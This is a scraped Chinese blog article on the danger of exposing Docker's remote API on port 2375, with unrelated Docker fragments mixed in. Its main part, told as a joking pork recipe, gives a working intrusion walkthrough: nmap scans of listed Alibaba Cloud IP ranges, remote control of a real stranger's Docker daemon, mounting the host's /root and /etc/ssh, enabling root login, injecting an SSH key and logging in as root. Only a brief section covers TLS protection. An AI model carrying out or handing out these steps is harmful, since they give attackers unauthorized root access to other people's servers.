Docker暴露2375端口导致服务器被攻击问题及解决方法_docker

来源:脚本之家  责任编辑:小易  

使用1docker pull mysql获得mysql镜像,接着使用1docker images查看镜像列表,如下使用1docker run-itd-P mysql bash启动mysql镜像,docker run是启动容器的命令;i是交互式操作,t是一个终端,d指的是在后台运行,-P指在本地生成一个随机端口,用来映射mysql的3306端口,mysql指运行mysql镜像,bash指创建一个交互式shellwww.zgxue.com防采集请勿采集本网。

相信了解过docker remote API的同学对2375端口都不陌生了,2375是docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作。

一开始docker安装好并且启动container后,container内的服务端口(例如nginx启动后监听的80端口)是不对外暴露的,在宿主windows下用浏览器访问docker虚拟机ip是访问不到container内的80端口的

当$HOST主机以docker daemon -H=0.0.0.0:2375方式启动daemon时,可以在外部机器对$HOST的docker daemon进行直接操作:

Docker首先会尝试从本地取得并运行所需的镜像,如果在本地主机上没有发现,它就会从Docker公共注册中心拉取。这里,我们将会拉取镜像并在 Docker 容器中创建一个Fedora实例,并连接到它的 tty 上的bash

docker -H tcp://$HOST:2375 ps

你好, 1、每个镜像都定义了可对外提供的接口,Nginx镜像只默认提供了80和443端口,你自然无法访问到容器内的8080端口。2、只需要在docker create或者docker run创建容器时携带-expose参数,就能

好,说说如何“入侵”,怎么通过这个端口入侵宿主机呢?

如果将来数据库服务也在容器中提供,建议使用link的方式,代码中使用环境变量获取实际地址。如果数据库服务不在容器中,可以以常规方式配置到配置文件中,将来将配置文件以挂卷的方式映射到本机

这个应该要从几个点说起吧:

虚拟机的80端口在 Vagrantfile 中被绑定到主机的8080端口,也就是:主机8080->虚拟机80->容器80 sudo docker run-t-i-p 80:80-v/vagrant/htdocs:/var/www/html custom/httpd /bin/bash 启动 Apache

1. docker对user namespace没有做隔离,也就是说,容器内部的root用户就是宿主机的root用户,一旦挂载目录,就可以在容器内部以宿主机的root用户身份对挂载的文件系统随意修改了。 docker服务拥有很高的执行权利(相当于root),并且在docker用户组下的普通用户不需要任何其他验证就可以执行docker run等命令。 暴露的docker remote API端口如果没有启动ssl验证的话,任何能连通到这台docker宿主机的的机器都可以随意操作这台docker宿主机的docker daemon(docker run、docker ps、docker rm等等这些命令都不在话下)。

结合以上3点,就基本具备入侵docker宿主机的条件了

讲得似乎有点悬,不多说,直接拿一个活鲜鲜的例子来讲吧:

(请允许我用最近新学的一道菜将流程带过 ╮( ̄▽ ̄)╭ )

秘制红烧肉(docker版)

材料:一整块一整块的“5花”IP段,越肥越好(小白用户越多越好)

配料:nmap,docker

step 1: 扫描2375端口

怎么扫?我选用的是简单易用的黑客必备神器nmap了。

扫哪里呢?我选的目标是aliyun的IP段,百度得知:

42.96.128.0/17 Alibaba (Beijing) Technology Co., Ltd. China 42.120.0.0/16 Aliyun Computing Co., LTD China 42.121.0.0/16 Aliyun Computing Co., LTD China 42.156.128.0/17 Aliyun Computing Co., LTD China 110.75.0.0/16 Asia Pacific Network Information Centre China 110.76.0.0/19 Ali Technology Co., Ltd China 110.76.32.0/20 Aliyun Computing Co., LTD China 110.173.192.0/20 HiChina Web Solutions (Beijing) Limited China 110.173.208.0/20 HiChina Web Solutions (Beijing) Limited China 112.124.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 112.127.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 114.215.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 115.28.0.0/16 HiChina Web Solutions (Beijing) Limited China 115.29.0.0/16 HiChina Web Solutions (Beijing) Limited China 115.124.16.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 115.124.20.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 115.124.24.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 119.38.208.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 119.38.216.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 119.42.224.0/20 Alibaba (China) Technology Co., Ltd. China 119.42.242.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China 119.42.244.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 121.0.16.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 121.0.24.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 121.0.28.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 121.196.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 121.197.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 121.198.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 121.199.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 140.205.0.0/16 Aliyun Computing Co., LTD China 203.209.250.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China 218.244.128.0/19 Hangzhou Alibaba Advertising Co.,Ltd. China 223.4.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 223.5.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 223.5.5.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China 223.6.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 223.6.6.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China 223.7.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd.

我不生产IP,我只是百度的搬运工,别问我这些IP从那来,我也想知道~ >.<

将上面IP内容保存在一个文件中,如 aliyun.list

开始扫描:

cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open # 简单解释一下命令:# awk 将第一列IP网段过滤出来# xargs 将过滤出来的IP一个一个的分次送给nmap,-I {} 是指使用{}来代替传送的参数# ...# Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-05 09:57 CST# Nmap scan report for 42.96.MOSAIC.MOSAIC# Host is up (0.070s latency).# PORT STATE SERVICE# 2375/tcp open docker# ...

不到两分钟,第一块42.96.MOSAIC.MOSAIC(五花肉已打码) “五花肉”选好了,来吧~

step 2: 测试2375的直接控制权

docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps # CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS # 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 days ago Up 3 days 0.0.0.0:9009->80# f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 days ago Up 3 days 8080/tcp, 28015/# 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 days ago Up 3 days 0.0.0.0:500->500# af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 weeks ago Up 3 days 443/tcp, 0.0.0.0# ...

这个服务器的owner也太配合了(⊙ο⊙),ps直接看到内容,说明这个主机的2375是没有ssl验证的,基本满足入侵要求。

“五花”洗好,切好,准备下锅~

step 3: 远程启动自己的容器

拿到了docker的控制权能做什么呢?拿到了就呵呵了~

# images 看看本地已有的镜像# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images# ...# swarm latest 47dc182ea74b 4 weeks ago 19.32 MB# jwilder/nginx-proxy latest 203b20631e41 4 weeks ago 255.6 MB# ubuntu latest c5f1cf30c96b 4 weeks ago 120.8 MB# shipyard/shipyard latest ba426f0944bc 5 weeks ago 58.92 MB# ...

省略了一部分输出,镜像还蛮多的,就选个ubuntu吧

# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu

看到这步,相信对ssh有一些了解的同学应该就明白了

step 4: ssh pub key 注入

在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主机的/etc/ssh/sshd_config) 的PermitRootLogin字段。如果是no就改成yes,允许root通过ssh登录

然后在你的机器上生成一对新的pub key(已经有ssh key的也建议生成一个新的,不要使用自己日常使用的ssh pub key)

# 使用 ssh-keygen生成ssh-keygen -t rsa -C "hello@world.com"# 执行命令后的提示Enter file in which to save the key要看好,不要把自己的ssh key覆盖了,可以选着/tmp/id_rsa# 其他提示enter到底即可

继续,注入ssh pub key,回到刚刚启动的容器执行

cat >> /tmp/root/.ssh/authorized_keys <<EOF>ssh-rsa AAA.... # 这里粘贴你刚刚在自己机器生成的/tmp/id_rsa.pub>EOF # 如果/tmp/root/.ssh目录不存在,就直接创建

八角香叶生抽老抽醋都加上,中火烹饪,准备出锅~

step 5: 登入服务器

# ssh -i 指定秘钥登录ssh -i /tmp/id_rsa root@42.96.MOSAIC.MOSAIC # Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)## * Documentation: https://help.ubuntu.com/## Welcome to aliyun Elastic Compute Service!## Last login: Fri Jun 3 01:38:07 2016 from 120.85.MOSAIC.MOSAIC# manpath: can't set the locale; make sure $LC_* and $LANG are correct# root@iZ28p9b7e***:~# # ...

大火收汁,起锅!

郑重声明

以上教程仅为交流学习之用,42.96.MOSAIC.MOSAIC 服务器上的id_rsa.pub在制作完本教程后已主动清除,并在服务上留言告知。

如果你一不小心也发现了可用的2375端口,希望也能点到即止,误做他用,或者发现其他入侵漏洞,可以和大家交流学习。

2375是docker漏洞吗?

非也!2375直接裸露地暴露在公网上纯属是用户习惯或者偷懒的问题2375可以在相对安全的内部网络中方便测试使用,并不适合使用在投入到生产环境中。

docker官网第一篇文档quick start上有句话是这样子的:

Warning: Changing the default docker daemon binding to a TCP port or

Unix docker user group will increase your security risks by allowing

non-root users to gain root access on the host. Make sure you control

access to docker. If you are binding to a TCP port, anyone with

access to that port has full Docker access; so it is not advisable

 on an open network.

已经Warning告知:如果将daemon直接暴露在一个TCP端口,将可能会被以非root用户去获取宿主机的root权限。其实上面的说提到的服务器之所以这么容器被入侵,也正是这个原因。

何以防之

那么,问题来了,如果想用Remote API,又不想有被入侵的风险,怎么办呢?

docker官方文档上介绍了一种通过CA认证方式使用Remote API

具体可以参考:Protect the Docker daemon socket

(等理解了再补一篇博客吧,就姑且让我以一个链接的形式带过吧O.O)

配置过程还算是比较简单的,下面放一张图,展示配置SSL后的效果:

到此这篇关于Docker暴露2375端口导致服务器被攻击问题及解决方法的文章就介绍到这了,更多相关docker 暴露2375 端口内容请搜索真格学网以前的文章或继续浏览下面的相关文章希望大家以后多多支持真格学网!

bridge 网络下可以把主机看成路由器,外部是通过 NAT 访问的,与路由器上的端口映射类似,同一个 Network 下的容器是同一台交换机下不同设备,每个容器可用端口范围都是独立的。容器间互访,可以通过容器内网 IP 和 内网端口—即容器自身端口。外部想访问容器,就必须把容器端口 EXPOSE—映射出来,暴露的端口属于主机端口,是不能冲突的内容来自www.zgxue.com请勿采集。


  • 本文相关:
  • docker容器绑定外部ip和端口的方法
  • docker容器启动后添加端口映射
  • 详解docker 端口映射与容器互联
  • docker 给运行中的容器设置端口映射的方法
  • docker端口映射实现网络访问的方法
  • docker 端口映射详细介绍
  • docker 容器编排利器compose(起步篇)
  • docker 如何删除none镜像
  • centos7部署19版docker(简单,可跟做)
  • 手把手教你实现docker 部署 vue 项目
  • 基于docker如何实现mysql主从复制详解
  • docker 学习笔记之docker连接网络的设置
  • docker安装和简单使用入门教程
  • docker实现导出、导入和数据搬迁
  • docker镜像的创建、存出、载入的方法
  • 初次使用docker的体验笔记总结
  • docker 暴露多个端口怎么区分
  • docker mysql不用暴露端口吗
  • 怎么查看docker容器占用的端口或者ip
  • Docker 使用 tomcat镜像部署web网站无法访问
  • docker 所有web都要加端口号吗
  • 如何创建一个docker service 服务
  • Docker 80端口问题
  • docker镜像怎么动态增加端口映射
  • 如何取消docker的开机自动启动
  • docker 需要再装系统吗
  • 网站首页网页制作脚本下载服务器操作系统网站运营平面设计媒体动画电脑基础硬件教程网络安全dockerhyper-vvmwarevirtualboxxenserverkvmqemuopenvzxencloudstackopenstack云计算技术云其它首页服务器云和虚拟化dockerdocker容器绑定外部ip和端口的方法docker容器启动后添加端口映射详解docker 端口映射与容器互联docker 给运行中的容器设置端口映射的方法docker端口映射实现网络访问的方法docker 端口映射详细介绍docker 容器编排利器compose(起步篇)docker 如何删除none镜像centos7部署19版docker(简单,可跟做)手把手教你实现docker 部署 vue 项目基于docker如何实现mysql主从复制详解docker 学习笔记之docker连接网络的设置docker安装和简单使用入门教程docker实现导出、导入和数据搬迁docker镜像的创建、存出、载入的方法初次使用docker的体验笔记总结docker 给运行中的容器设置端口映docker 清理命令集锦docker获取镜像报错docker: erroubuntu14.04+docker的安装及使用docker.service启动失败:unit ndocker容器如何优雅的终止详解浅谈docker-compose网络设置之necentos7 安装docker 解决启动不了详解docker国内镜像拉取和镜像加docker如何固定ip设置的方法如何为go程序创建一个最小的docker image蘑菇街 私有云docker实例应用docker学习笔记之docker入门docker 的健康检测机制详解在docker容器内外互相拷贝数据的方法详解docker下的mysql镜像的使用方法dockerfile制作官方tomcat镜像及镜像使用docker部署laravel应用的实现示例docker使用dockerfile构建镜像的方法docker 容器操作退出后进入解决办法
    免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2017 www.zgxue.com All Rights Reserved